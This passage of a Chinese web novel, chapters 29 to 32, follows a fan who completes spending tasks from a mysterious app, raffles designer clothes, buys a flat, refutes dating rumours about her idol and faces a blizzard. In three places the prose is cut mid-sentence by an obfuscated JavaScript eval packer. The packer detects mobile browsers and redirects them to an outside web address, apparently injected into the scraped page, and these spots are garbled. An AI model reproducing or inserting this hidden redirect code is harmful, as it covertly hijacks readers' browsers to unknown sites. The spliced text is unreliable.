下意识抱紧了身子往前走，才走了几步，凌钰就发现像是有巨石压住了她的胸口，明明上一秒还是站着的，下一秒视线翻转，她已经平躺在雪地里，后背冰凉，身上则是千斤重担。 眼前莫名其妙多出了一座高耸入云的冰川，极高极大。 这是什么情况，她也不是孙猴子，怎么就被山给压住了？！出于本能，她开始奋力挣扎，那冰川便轻微震动起来，接着，无数或大或小的冰块从天而降。 轰隆隆—— 救命！她吓得魂飞魄散，用尽全力猛地一推！ 哪有什么冰川？凌钰睁开双眼，难怪她觉得被压得喘不过气，睡觉时握着的手机不知何时掉在了胸口的被子上，正不停震动着发出微光。 震动？ 她连忙去看，【识人】app不知何时连发了好几条消息，而鲜红色的倒计时也已经开始疯狂跳动。 01:57:00 01:56:59 …… 好吧，她现在知道了，任务至少发布了有三分钟。 最新任务：本次解锁资金200000元，请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。 这是多少？凌钰本就刚从睡梦中醒来，眼睛还是花的，半天才数清楚。 一二三四五，五个零，二十万。 很奇妙的，凌钰居然产生了一种“还好也不多”的想法。 但很快她就又反应过来，等一下，系统要不要看看现在是几点？手机上的时间让人无语凝噎，半夜三点！二十万！两小时！ 按照聂嘉远现在的代言情况，这些钱买东西并不是问题，可问题是怎么送出去？她不睡，家园们还能都不睡？ 凌钰从来没有这么晚去逛过超话，更是第一次接到半夜三更发来的任务。想要买明天的巧克力礼盒是不可能了，她只好点进了ME的官网，按照能目前买到的最贵价格顶格买了六件衣服，接着打开微博。 【@我来追星了：#聂嘉远#njy#聂嘉远代言ME# Halo！晚睡的鸟儿有虫吃，有人在不？刚买了六件ME的衣服，抽奖送同担，条件和之前一样，一个小时之后开奖，大家多多评论转发吧！ @聂嘉远】 下方配图打码的购买记录。 太晚了，凌钰都担心根本没人在线，只能将抽奖时间尽量拉长——否则但凡抽到无意义的水军，又或是无所事事的对家，都会增加她的工作量。 然而她的担心却显然是多余的。 没过多一会儿，下方的评论就火速增加。 【我在！！！！】 【？大晚上的，又抽奖送ME？我就说追星姐低调又牛掰吧！那些嘲讽她穷的人呢？】 【抽我，平时都抽不中我，这次大半夜的轮也该轮到我了吧！】 29.第 29 章 微博已经发出，现在能做的就只剩下等。 可“等”这个字看起来简单，做起来却不容易，特别是现在这种夜半时分，又冷又困，凌钰手上虽然还在机械地刷着微博，眼皮子却沉得跟挑了千斤重担一样，根本撑不住睁不开。 凌晨三点，开奖时间在一个小时之后。 她完全可以定个闹钟再睡会儿，反正只要能在倒计时结束前完成任务就行。可脑袋昏沉，睡意侵袭，全都抵挡不住刺骨而逼人的寒意。 这究竟是什么天啊？也太冷了！ 神魂仿佛在虚空中飘荡着，像是迷茫又像是格外清醒，脑中一会儿是赵恒的粉丝谩骂，一会儿是她那几位前同事的脸，一会儿感觉再次置身在冰天雪地，一会儿又好像那可怕的倒计时已经走到了终点，而她的任务还没完成。 凌钰倏地睁开双眼坐起身来！ 不知道从什么时候起，就连被子里那点仅剩的暖意也没了，到处都是冰凉的触感，空调里吹出来的也全是冷风。 打开灯，关了空调，把最厚的那件羽绒服紧紧裹在身上，凌钰才稍稍感觉活过来了一点。 再去看手机，倒计时仍在继续，离结束还有一个小时四十七分钟。 网友们大概是真的不睡觉，本来凌钰还担心她那条抽奖博没什么人能参与，结果现在一看，虽然数据增长没有平时那么快，可十几分钟的工夫，也已经有了小几百条的评论。 【不奢望中奖，但必须扩散给“某些人”知道。】 【那边的“某些人”狂欢了一晚上，结果明早起来一看，天塌了！为什么你们有那么有钱的粉丝啊？为什么你们的粉丝总是那么愿意花钱啊？为什么我们都已经嘲讽你们穷了你们还买东西啊！】 【如果这就是没钱人的生活，我也可以，让我也体验一把好么，求求了！】 【没想到大半夜的加班到这个点不睡觉居然还有这种福利，我跟你们不一样，这次我要又争又抢，让我中让我中哈哈哈！】 【追星姐不语，只是一味下单。】 凌钰大概看了会儿，一边觉得好笑，一边不得不佩服她们的活力，大半夜的还这么有劲。 退出超话，热搜倒是也比白天冷清很多。 娱乐圈的话题几乎看不见，唯有超强冷空气的新闻非常显眼地挂在最上面，点进去，有半夜被冻醒的网友甚至还发了初雪图。 这么快就下雪了吗？ 凌钰连忙爬起来去看窗外，隔着一条小路，不远处的一条绿化带乌漆麻黑的，并没有一点白色。还好，她放下心来，明天一早…… 或者应该说是今天再过一会儿她就得出门去看房，要是下雪就太不方便了。 按照凌钰原本的计划，她其实是想着好好挑一挑房子，最好能在郊区买两套挨在一起的，这样装修完之后她自己住一套，另一套不管是直接给孙致容住，还是低价租给他们住都好办。 只是那得时间充裕才能办成，现在却不行了。 无论是出于什么原因让房东催得这么急，凌钰都不得不立刻搬走。而可以拎包入住的房子通常都是单个售卖，比毛胚房要贵些，时间紧迫，也没那么多选择。 转过身来，小小的房间，破旧的门窗，一眼望得到头。 对如今住的这个地方凌钰的感情其实很复杂，谈不上有多喜欢，但要说完全没有不舍也不可能。 虽说是租的房子，可自她毕业后没多久就搬来了这里，一住数年，从最初的空空荡荡到现在的五脏俱全，不精致，却足够温馨。 天很冷，但阳台的绿植生机盎然，客厅里的沙发不大，却也是她发第一笔工资的时候买的，很软很舒服，卧室里东西不多，可该有的全都有，书架上还摆着不少书和杂志。 那些杂志当年可花了她不少钱。 只是本以为是支持偶像事业和梦想的行为，最后却变成了一场荒谬的笑话。 随手抽出一本，封面上的林业面容还有些稚气，是当年的凌钰非常痴迷的类型，但现在跳出那个圈子再来看，她就不得不承认自己确实一叶障目，被心中的某些臆想蒙蔽了双眼，至少单就五官来说，聂嘉远也比他优越许多。 更遑论人品。 随手把杂志丢到了一边，反正也睡不着，她翻看了一会儿，索性从床下把空收纳盒拽出来，开始收拾东西。 有用的书全部收好，花花草草、锅碗瓢盆也要带走，林业的杂志和他当年所在组合的唱片、周边则全部堆在了角落—— 凌钰有时候真的挺念旧，就好像到现在她也没有删掉那群前同事的联系方式，就譬如她粉一个人能义无反顾地粉十年而毫不动摇，明明错的不是她，可她却被单方面删除拉黑，被污蔑诋毁，被偶像背刺。 手头的这些东西早在当初林业塌房时她就该扔了，竟然也存到了现在。 如果没有房□□如其来的催促，她可能依然会继续安于现状地慢慢来。 东西收到一半时，微博抽奖信息也跳了出来。 一共六个人，凌钰一一核对完，确认无误后公布结果。 任务完成，倒计时结束，银行卡的到账信息也很快跳了出来。 二十万，这个从前她看到会眼前一亮的数字，如今在那一千多万面前居然成了卡里的零头！谁能想到呢？ 她几乎是下意识狠狠掐了一下自己，又疼得倒抽一口冷气。 网上格外安静，这个点刚才还在参加抽奖的很多人也都睡了，凌钰忙前忙后地收拾东西，身上也暖和了起来。一暖和人又开始犯困，本来还想着再收拾一会儿，到最后还是脱了外套重新钻进了被窝。 这一回倒是睡得十分安稳，再次醒来时已经天光大亮。 凌钰洗漱完毕又顺路在楼下吃了碗牛肉面，这才打了辆车往之前和中介约好的地点去——天气不好，她有点担心中途会下雪，就她现在这个开车技术，还是不要轻易尝试了。 还在路上，孙致容就发了微信来。 “发家致富：我冻成丰碑了。” 一句话之后又变成了语音：“好冷啊！什么天啊！听说我们周边好几个城市都下雪了，所以才冷成这副德性，周哥今天也没敢开车，怕下班的时候下雪，唔——太冷了！” “你怎么样，去看房了吗？” 凌钰坐在车子里，司机暖气开得足，她一张脸都被烘得红彤彤的，先发了条文字消息过去：“正在去，昨晚冷死，现在热死。” 才又回复语音道：“车上开了空调，我今天也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065082|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开车，就怕一会儿也要下雪，你家里怎么样，冷吗？” “家里其实还好，”孙致容压低了声音，一听就是已经进了办公室，“我家地方小，三个人挤在一起东西又多，虽然空调效果一般，但是也还不至于特别冷，就是路上很炸裂。” 接着就又换成了文字：“你先看，我要先整理档案，领导来了。” 接着是一条转账消息。 凌钰仔细看去，孙致容竟然把她之前说的十万块补贴发了过来。 她的第一反应就是不能收，现在他们自己本来手头就紧，而她却的确不缺钱了。但就好像猜到她在想什么似的，孙致容在百忙之中又发了条消息来：“不想绝交就收了，这是当初说好的。” 可当初的情形和现在早不一样了，那时候的孙致容生活在蜜罐里，哪会像现在这样总为钱发愁。 凌钰愣了许久，最终还是点了收款。 孙致容果然开心起来，回复了一个大大的笑脸：“懂我。” 昨天在网上选定的几间二手房都不是特别远，凌钰刚到地方就看到了站在外面瑟瑟发抖的房产中介。天实在太冷，更多的话也没必要说，双方简单打了招呼，便开始一间接一间的看房，只是连看了好几间，凌钰都不太满意。 她计划中的预算只有五百万，因为这样剩下的钱就能再买一套毛胚慢慢装修。 可也因为只有五百万，这些房子要么地方太偏，要么楼层太高，要么是装修用的材料到现在闻了都还有味道，要么阳光根本照不到，在屋子里一年到头都得开灯。 如果只是租房，这些其实都不能算是大问题，可人生中第一次买属于自己的房子，凌钰还是觉得不能太随意。 掏出手机和孙致容又商量了两句，她最终还是抬高了价格重新再看。 八百万，这一回，终于有了像样的房子。 虽然也是高层，却是非常开阔的大平层，位置很好南北通透，装修风格清爽干净，就连沙发茶几都是凌钰喜欢的类型。 原主人本来是准备好给儿子结婚用的，结果儿子儿媳都去了国外，他们也准备出国同住，所以急着出售价格也相对略低。 窗外是开阔的小花园，一梯一户还送一个车位，最重要的是户主也在场，只要合适今天就能定下来交钱拿房，非常符合她现在的需求。 凌钰当下拍板，买！ 中介也没想到会遇上这么个小富婆，整个人顿时热情洋溢，之前被冻得麻木的嘴也叭叭说起话来，一边让双方签合同，一边带他们去办手续。 终于拿到房产证的那一刻，凌钰忽然生出一种很特别的感觉。 如今，是时候和过去做个了断了。 而就在她买房的这个时间里，微博上已经又炸开了锅。 有人截图了她半夜的抽奖微博，打码微博名之后配文—— 【李涛：被爆即将无房可住的回应是抽奖20万，什么水平？】 下面的评论成几何级增长。 【20万现在也能拿出来吹了？】 【没钱的水平，之前不都是千万级别吗？像这种传说中的氪金粉，后面至少要再加个零才能看吧？】 【什么水平？可能真的要流落街头被冻死的水平。】 30.第 30 章 【不是我说，有这个钱还是存着点买房吧，我都怜爱了。】 【攀比炫富，结果越炫越少，怎么回事？这么快就破产了吗？也是，谁家包养也不舍得让人这么花啊，而且花自己的钱给别的男人用哈哈哈！】 【李涛，确实不知道这钱是怎么来的，合法吗？当时就说要一并解决，结果到现在一点动静都没有，我可关注了律所官博的，虽然是发了一些进展，可重点根本没看到，这是准备冷处理了？】 【不敢说，怕被告。】 这条微博发得很微妙，只是一张截图，谁的名字都没提。 等家园们发现时早已进入热点，而评论区则被恒星彻底侵占。好在他们如今不是最初的饭圈新人了，很快有人组织拉黑举报，没过多久这条微博就被删除了。 原本这样也就能暂停战火，然而很快又有人重新发了一条相同的打码截图。 【怎么，在超话抽奖不就是想让人知道吗？现在却又不让人说话？某些人还是牛，这就开始帮粉丝捂嘴了，让人不得不好奇，你俩究竟是什么关系啊？】 这条一出，恒星顿时兴奋起来。 【哦？】 【你别说，你还真别说，我怎么忘了这一点？你们还记得当时国贸活动的时候，他俩靠得很近在说悄悄话吗？我当时就感觉哪里怪怪的，可一直没想明白，现在才是真的说通了！】 【妈诶，不会吧？那家园们到现在还在帮那位反黑，不就相当于在帮嫂子反黑？我把你当同担，你跟我抢哥哥，这才是背刺吧，我要是丑聂粉丝我得气死。】 【你看你，不大气，丑聂粉丝愿意帮他们嫂子反黑呗，没看那条抽奖博下面都在舔吗？20万都舔，我真的笑了。】 终于有家园忍不住反击。 【你们在胡说什么？看来上次还是告的不够多，管好你们自家好吗？你家才有嫂子，我家可没有。】 【真是想不明白，牙膏都卖不掉的人凭什么在这嘲20万。】 【本来不想给眼神，奈何实在恶心人。说过话就成了嫂子，那之前你家哥哥扶的那几位昏厥的粉丝算什么？那肯定更是你家嫂子了，你家嫂子真多。】 【举报了。[微笑]】 一来二去，又吵了个不可开交。 整个上午，凌钰一直被中介拉来拖去地办手续，并不知道网上闹了起来，直到房产证终于到手，又叫了人去租的房子里打包搬家，她才有空坐下来。 打开微博，私信和评论全都跟炸了一样，再去看热搜，好家伙！ #凌钰聂嘉远#的词条又爬上了榜首。 没完了还。 凌钰第一反应就是这帮人又在造谣她是工作室找来的演员，都已经说了不是不是，声明也发了，告也告了，只是法院的判决没那么快能下来而已。然而点进去一看她却傻了眼，这是什么鬼东西？！ 热门微博是个营销号发的评论截图，好几个不明账号在“恍然大悟”她和聂嘉远的真实关系。 而文案则写到——【#凌钰聂嘉远#他俩是真的？】 什么就是真的了？ 要不要这么离谱？ 凌钰追星十年，除了林业塌房的那一瞬，还从没有像现在这么无语过。 不过别的不提，像这种莫名其妙的栽赃放在普通的待爆咖里恐怕也掀不起什么风浪，可现在聂嘉远都进组拍戏了，这没头没脑堪称奇葩的议论却还是轻轻松松上了头条。 就这一点看来，也许大家都有点低估了他的流量。 凌钰本能地刷新主页，以为会很快看到官方辟谣，但下一瞬却先看到了工作室的私信。 “@聂嘉远工作室：您好。” “@聂嘉远工作室：不好意思最近给您带来了很多不便，因为涉及到您的声誉，这边想提前跟您沟通一下，如果由我们直接发文辟谣，可能会造成大量黑粉和部分极端粉丝前往您的账号，还有一种办法就是由您辟谣，小室来转发。” “@聂嘉远工作室：但不管哪一种，都难免会受到一部分攻击，因为事情本来就是假的，也无法用什么来证明这件事没发生过，所以可能仍然会有人怀疑。我们会尽快报警处理，并与相应方沟通联系，给您一个满意的结果。” “@聂嘉远工作室：此外，您看有没有什么需要我们弥补的，只要能办到，小室都一定尽量替您办到！” 这还是凌钰第一次收到工作室发来的私信，混迹粉圈多年，她很清楚什么能做什么不能做，所以在此之前和那边的联系全都是由后援会转达的。 现在情况紧急，不仅要考虑聂嘉远，还要考虑到她的声誉和后续生活，对方大概也是实在没办法了才直接找上门来。只是这两种选择，她其实也不太确定哪种更好。 也或者，两种都不太好。 有句话工作室说的很对，发生过的事留有痕迹才可以证明，没发生过的该怎么证明？就好比你快递没收到，客服却非要让你拍照自证一样，是很离谱且为难人的。 可证明不了，这辟谣就成了空中楼阁，无法支撑。 留有痕迹…… 凌钰的脑中忽然想起最近这段时间每天发给聂嘉远的私信，这算不算留有痕迹？连忙返回页面截了个长图，她点开工作室的聊天框。 “@我来追星了：或者，是有办法可以自证清白的，我发这个图。” 她把长图发送过去，又道：“再配文，就说纯纯事业粉，一心督促偶像谨记正能量，放心，不是嫂子，此生也绝不做嫂子。这样你们看可行吗？” 工作室那边秒回：“您稍等。” 说是“稍等”，却并没有很快再来消息，而这边搬家的工人已经打包完毕，有用的都搬上了车，没用的那堆杂志和周边，早就被物业的保洁收了个干净，大概是打算当废品卖掉。 温馨的家变成了空荡荡的房子，恢复成了她刚来时的模样。 也或许又有哪里不一样。 从前的记忆其实也有些模糊了，凌钰拍了张照发给房东，那边倒也非常爽快地把最后一个月的退款打了过来。钥匙交给物业，交代完一切，她果然收款，之后毫不犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073867|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豫地删了对方的联系方式。 接着是之前的同事，主管，甚至那位老总的妹妹也都一同删了个干净—— 既要断，那就断个彻底，从今往后，这些人和事都不再与她相干。 大概她的提议比较难决定，总之等再次回到新买的房子里，凌钰才看见工作室发来的私信。 “@聂嘉远工作室：您好，刚才小室和嘉远商量了一下，觉得您的方法应当可行，为避免争端，您发完微博后，嘉远可能还需要转发配一下文案。” 凌钰秒回：“好。” 又大概沟通完该如何互动更好，热搜词条已经在榜首待了一阵子，下面粉黑大战沸沸扬扬，凌钰好不容易编辑完文案，还没来得及发出去呢，【识人】app就开始疯狂震动起来。 最新任务：本次解锁资金10000000元，请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。 不是，要不你直接杀了我吧！ 来不及去管这时候还要发疯乱插一脚的系统，凌钰饭圈老人人设不倒，这种紧要关头即便是辟谣也没忘记超话格式，把消息发出去的同时，还顺便又蹭了个热搜。 【#聂嘉远#njy#凌钰聂嘉远# 纯纯事业粉，一心督促偶像谨记正能量，放心，不是嫂子，此生也绝不做嫂子。 @聂嘉远】 配图是一条挺长的截图，每天都是非常固定的私信内容：“谨言慎行，遵纪守法，求求了！”而对面也每天都回复：“好。” 消息刚一发出，早已准备好的聂嘉远立刻上线关注了她的账号并转发。 【@聂嘉远：牢记粉丝叮嘱，绝不行差踏错，感谢提醒，警钟长鸣。恋情是假的，粉丝是真的。还有，下次绝对不会再是系统自动回复了！[抱拳][抱拳]】 这一下简直如同核弹爆炸。 【啊啊啊啊啊！！！】 【我就说，聂嘉远和家园才是真的！】 【追星姐真的人设不倒，太事业粉了，每天私信也是要偶像不塌房！哈哈哈！】 【对了，谁还记得追星姐之前的偶像啊，难怪她每天都要叮嘱一遍，这是真怕了！谁能想到呢，聂嘉远的自动回复就是“好”，我之前有一次给他发私信，问他能不能做我老公，他回了个“好”，差点没给我吓死。】 【对，我也是！！后来我怕自己弄错了，又发了一条“你千万别乱来”，他的回复还是“好”，我以为这是在闹着玩，很不放心地问了句“你是真人吗？”，他又回复了“好”，哈哈哈哈！】 【众筹求聂嘉远改一改自动回复的文案，怪吓人的……】 【追星姐：谢谢黑粉，让我有了和偶像互关的机会，哈哈哈！】 很快，#聂嘉远方辟谣#的词条也冲上了热搜。 但凌钰已经没工夫再去看了，因为她有更要命的事。又来了一千万，她要怎么才能花怎么才送得出去？这么多钱，她真的不会被抓起来吗？ 31.第 31 章 ME的限量款上次都快被她选完了，这个点她人又在郊区，想去国贸线下看肯定来不及，可别的东西想要凑够一千万却实在很不容易。 凌钰咬着牙，从来没觉得花钱这么痛苦过。 打开ME的官网去看，最贵的衣服才四万，她就算全买这个也得买二百五十件，这是什么神奇的数字？她现在就觉得自己像是个二百五。 对了，还好她当时加了国贸店店长的微信！ 凌钰连忙打开对话框，也没时间编辑文字了，直接拨了个电话过去，那边很快接起，一听说她又要买东西抽奖，顿时笑意盈盈。 “这没问题，凌小姐您放心，您是咱们家VIP客户，这点要求还是很容易办到的，再说咱们上次已经合作过一回，要是您没有什么其他特别的要求，那就放心让我们来帮您配货。您稍等，我一会儿给您回电话。” 不愧是ME国贸店的店长，语速适中，态度温和，逻辑清晰，即使一下说了这么多话，声音也透着让人平心静气的力量。 凌钰那因再次来临的一千万而生出的慌乱被本能地抚慰，就连加速的心跳也慢慢缓了下来。 怎么花钱的事是解决了，可怎么送出去却成了问题。 又或者说送也不难，难却难在怎么才能让人不再质疑她的财产来源。 这件事凌钰很清楚，只要一天不解决，一天是个隐藏的爆点，她被造谣的可能性大大增加，后续遇到麻烦的情况也会只多不少。 甚至别说旁人，就连孙致容这边她恐怕也过不去。 知道她在帮着某个神秘机构监管娱乐圈，投资赚钱了是一回事，动不动就拿出千万来买东西送东西，回头还能继续有钱买房买车，就又是另一回事了。 孙致容倒不会过分追究她的金钱来源，却肯定担心她进了什么非法组织。 所以之前发起诉声明的时候，凌钰就把这事也一并交代给了律所。 但这几天下来，因为要告的人实在太多，那边忙着整理材料提交给法院，而很多人因为涉及到背后的公司，微博也要沟通协调，到今天才刚确定了一部分，所以一直还没给她相关证明。 在【识人】app保证过收入合法之后，凌钰就查过自己的银行账户，对方显示的汇款单位就是【识人】，这肯定是不能拿出来给别人看的。 她只好又在线咨询了一回系统，结果对方让她如果确实有需要，可以直接找律所出证明。 凌钰想来想去，没有立刻发抽奖微博，而是点开了律师的微信，编辑文字发送：“您好，之前请您帮忙找专业机构出的资产证明，请问有结果了吗？” 对方回复的很快：“这个前两天就办理好了，因为完全没什么问题倒是忘了先跟您说，您现在就要吗？您稍等。” 接着发来的是两份很简单的文件，凌钰点开来看，这才知道为什么系统敢让她直接找人出证明。 这个【识人】居然真的有一个在注册的资产过亿的公司，而她自从拥有了这款app的那一刻起，就成为了公司的第二股东。所以她如今的收入的确合规合法，系统也是真的给她交了税。 而公司还有另一位大股东，凌钰眯着眼睛看了半天——石、西、同。 像个人，谁啊？ 但她再默读了两边之后却反应过来，是系统！ 多严肃的场合啊，你还给我玩上谐音梗了。 凌钰一时间真是无言以对，又去看另一张图，是很简单的银行流水和纳税记录，只是比她自己在手机上看到的成倍显示了。这也难怪，因为于她而言每次都是花一分得一分，而于外人看来，这两分钱其实都是她的。 估计系统早已做了调整，所以没让她直接自证，而是让外人去查。总归这事如今看来简单明了，除了有些交易流水比较大，其他没什么特别。 且就连这种所谓的大流水也只是相对的，真正的有钱人比这大的流水多多了。 难怪她明明特意交代了律师，对方却完全没当回事，因为确实一目了然，根本就没什么好说好质疑的。 凌钰提着的心终于放下，刚好国贸店的店长也回了电话，她先扫码刷脸付款成功，这才重新返回微博，发帖准备抽奖。 【@我来追星了：#聂嘉远方辟谣#njy#聂嘉远 凌钰# 又订了十件ME的衣服，抽奖送同担，条件和之前一样。希望大家都能做到谨言慎行，遵纪守法，不信谣，不传谣。先前被告的那批人过两天律所会公布最新情况，今天先把最后一条自证发了，从此以后不会再回复任何钱相关的问题。 款式由@国贸ME确认后发出，半个小时后抽奖。 @聂嘉远@ME@国贸ME】 下方配图难得的不是订单截图，而是两张打码之后的资产证明。 有些比较私人的类似银行账号之类被涂抹，但其余的重点都还留着，这就已经足够网友吃瓜了解情况了。 凌钰聂嘉远两上热搜，一会儿造谣这位凌小姐是工作室的演员，一会儿又造谣她和偶像恋爱，再加上双方辟谣和这突如其来的奢侈品抽奖，先前还只是在粉圈小有名气的她，这次就连路人都觉得眼熟了，广场上热闹不已。 【这是正儿八经的氪金粉！我家为啥没有啊呜呜呜！】 【注册资产过亿公司的股东，难怪这么有钱，刚去查了一下，她持股虽然不多，但那也是股东啊！不是，那帮赵恒粉丝骂人诋毁人的时候为啥不先好好扒一下啊，所以说谣言是怎么来的？就是这么来的！】 【又抽奖了，刚点进她微博看了下，除了两条辟谣的，其他全都是抽奖。我也想要这种同担——】 【又是赵恒粉丝造谣？赵恒还没塌房吗？他不是给自己女朋友找了十个男人的吗，就这样的人还有粉丝？】 【好像他女朋友又说没找，搞不懂，不过不管找不找，这种人还有粉丝都是很让人难以理解的。娱乐圈就没人了吗？有了嫂子还不放手，这得爱到什么程度啊？而且他家是喜欢揪着聂嘉远不放。】 【赵恒走路摔了一跤，恒星：都怪聂嘉远！哈哈哈！】 【内娱什么时候能管管这种风气啊？被造谣的受害者被逼着自证，造谣的人却美美隐身，真恶心！就赵恒粉丝那样的，不会马上又来质疑公司的真实性合法性，再质疑凌钰和大股东的关系吧？】 【嘘——别给她们提供思路了，那边看到消息已经疯了，说要报警。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079324|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【我们网友的命也是命，我们才要报警好吧？】 一片混乱中，国贸ME转发了凌钰的这条微博。 【@国贸ME：门店精选了十套服装（含定制款及限量款），已由凌小姐出资购入，款式如下。半小时后请中奖人员私发本号中奖信息及地址，核实到货后由门店发货。】 恒星的怒骂终于被路人和家园们的嬉笑狠狠压制，但也抵不住心中愤恨，在自家微博里吐槽。 【又把锅甩给我们恒星，谁知道是不是他们自己想炒作。丑聂这两天拍戏没时间露脸，利用氪金粉给自己加热度，想要提高商业价值吧？再说，这种粉丝动不动就连累正主的，给我我都不想要。这么多钱，铺张浪费，怎么不去做慈善？】 恒星们当然共鸣，但博主自己却很快又删除了这条言论。因为有无聊的吃瓜人士截图嘲讽，说他们吃不到葡萄就说葡萄酸。 但不管舆论如何，事情都已经告一段落，凌钰总算松了口气。 忙了一天，家虽然是搬了，东西却还没收拾。 她把手机放到了一边，花花草草归置到阳台，被子枕头铺到床上，她几年前买的那款沙发并没有留下，在出租房那边就已经送给了保洁——虽然她其实挺喜欢，但跟现在的房子不配套，也太小了。 这边的家具是现成的，人有时候该知道如何断舍离。 收拾了大半，抽奖结果也跳了出来，凌钰看了一眼，除了其中一位不符合条件需要重新抽奖，其他的九个都没什么问题。而不符合条件的那位，竟然是位赵恒的粉丝。 她没去管，重新发了遍抽奖，设置十分钟后开奖，就又开始整理房间。 网上却因为那名单又有了争论。 路人是嘲笑。 【跑去对家的微博参加抽奖，赵恒家究竟是什么骚操作？这段时间他家还真是挺耀眼，都快成顶流了。】 家园是吃惊。 【他家粉丝怎么会跑来参与啊？啊这……】 恒星则是憋不住地不满。 【谁参与抽奖了？不过是吐槽一句，系统刚好抽中了而已，什么ME，这种东西给我我都不要好吗？穿了我还嫌晦气呢！马上就去烧高香拜拜，省得被某些不干净的东西沾染上。】 但这些凌钰都没看到，她忙着整理新住所，等最后一个名单确认发出，任务终于完成，附赠寿命增加，而银行卡也顺利到账。 外面天已经全黑了。 屋子里开着空调，凌钰也没往外细看，孙致容却发了微信来。 “@发家致富：外面下雪了诶！” 接着又变成语音：“我刚看到你微博发的东西了，难怪你这两天这么能花，原来是真有钱！不瞒你说，我前段时间那叫一个担心啊，又不好总问，就怕你是被什么非法组织给控制了，或者跟我妈当年似的搞什么基金，还好不是！” “外面好冷，听说离咱们不远的H市下了贼大的暴雪，积雪都快有半个人高了！希望咱们这边别下这么大，我还得上班呢！” 凌钰也不希望外面雪下太大，她刚搬家，还有不少东西要买。 然而第二天刚一醒来，就看到了微博头条——#雪灾# 32.第 32 章 H市的特大暴雪下了一天两夜，积雪从昨天的半人高逐渐到了如今没入房顶的程度。 高楼的人家还稍微好些，郊区和农村有些房子矮，人连出入都成了问题。 可这还不是最严重的，最严重的是雪堆得太厚，屋顶承受不住重量开始坍塌，水管爆裂供水中断，电线杆被压倒，连电也停了。 美景成灾，整座城市被阴云笼罩。 凌钰点开话题去看时，当地已经开始组织受灾群众转移，暂时还没有人员伤亡。但大雪还在下，一点要停的意思都没有，受灾范围越来越大，人也越来越多，转移工作做得并不轻松。 昨天还被娱乐新闻覆盖的主页已经全部被社会新闻取代。 不少人发言。 【没想到会下这么大的雪，说实话我以前挺喜欢下雪天的，主要是难得看到，昨天看到雪下得大，还特开心在楼下堆雪人打雪仗，结果今天就被困在家里出不去了。水电燃气全停了，又冷又饿，后悔家里没存方便面。】 【你们那边没发物资吗？我们小区今天发了面包泡面和矿泉水，但是泡面吃不了啊，没热水，听说还在抢修。】 【H市是全市都受灾了吗？我奶奶还在那边的乔李村，电话也打不通，也不知道咋样了。有没有人知道情况啊，家里快急死了！】 【我家靠近乔李村，那边路还算通，好像已经在转移了，就是现在通讯不畅，我也不知道自己这个网能上到什么时候，等电话通了再打吧，市里面反应挺快的，好像没听说有什么人受伤。】 凌钰点进超话，也有很多人在发帖讨论。 除了H市，周边几个地区也有灾情，只是目前还没那么严重。 T市昨晚也下了雪，当时看时还挺大，不过今天却没有连着下，凌钰从窗户往外看，地上白茫茫的一片。 她发了条微信给孙致容：“上班没？” 对面回得很快：“打工人打工魂，只要地球不爆炸，我们永远不放假。” 接着却又变成了语音：“不过今天大家都迟到了，没办法，路上不好走。我和周哥都是坐地铁上班的，我们领导开车，路上打滑跟别的车碰了，到现在还没来呢，大家都在摸鱼。” 凌钰却有点担心：“我们这边不会再下雪吧？你们那房子冷不冷，要是真的再下雪，就怕断水断电断气。” 孙致容发了个截图来，接着才道：“估计还会下，虽然天气预报这会儿显示没有雪，可市里面其实发了橙色预警，我们领导今天说一会儿大家都早点下班，明天看情况，要是下雪就休息一天。” 她这个工作平时虽然很忙，但到底还是正规，不像有些公司，市里面发的预警根本当看不见，只要是工作日，管你刮风下雪，爬也得爬去上班。 凌钰叹了口气：“不管怎么样，今天先去买点面包什么的存着吧，以防万一。” 然而她能想到的问题，别人肯定也能想到，等她起床去楼下吃完早饭，再到超市时已经人山人海。 上班的人虽然没空，可大爷大妈们却是最有远见的，精神和力气也比年轻人要好。大冬天的，外面寒风刺骨，她却挤得满头大汗，排队等了很久，好不容易才买了四大包的东西拎出来。 这已经不是钱的问题了。 超市显然也没想到会遇上这种情况，货架几乎被扫荡一空，仓库的工作人员在不停往外上货，甚至放了个小喇叭循环播放，说明物资足够充足，可也没能减缓大家扫货的速度。 这情况一时半会估计不会缓解，因为如果后续再继续下雪，哪怕超市供应不断，能不能出门，能不能买成也都不好说。 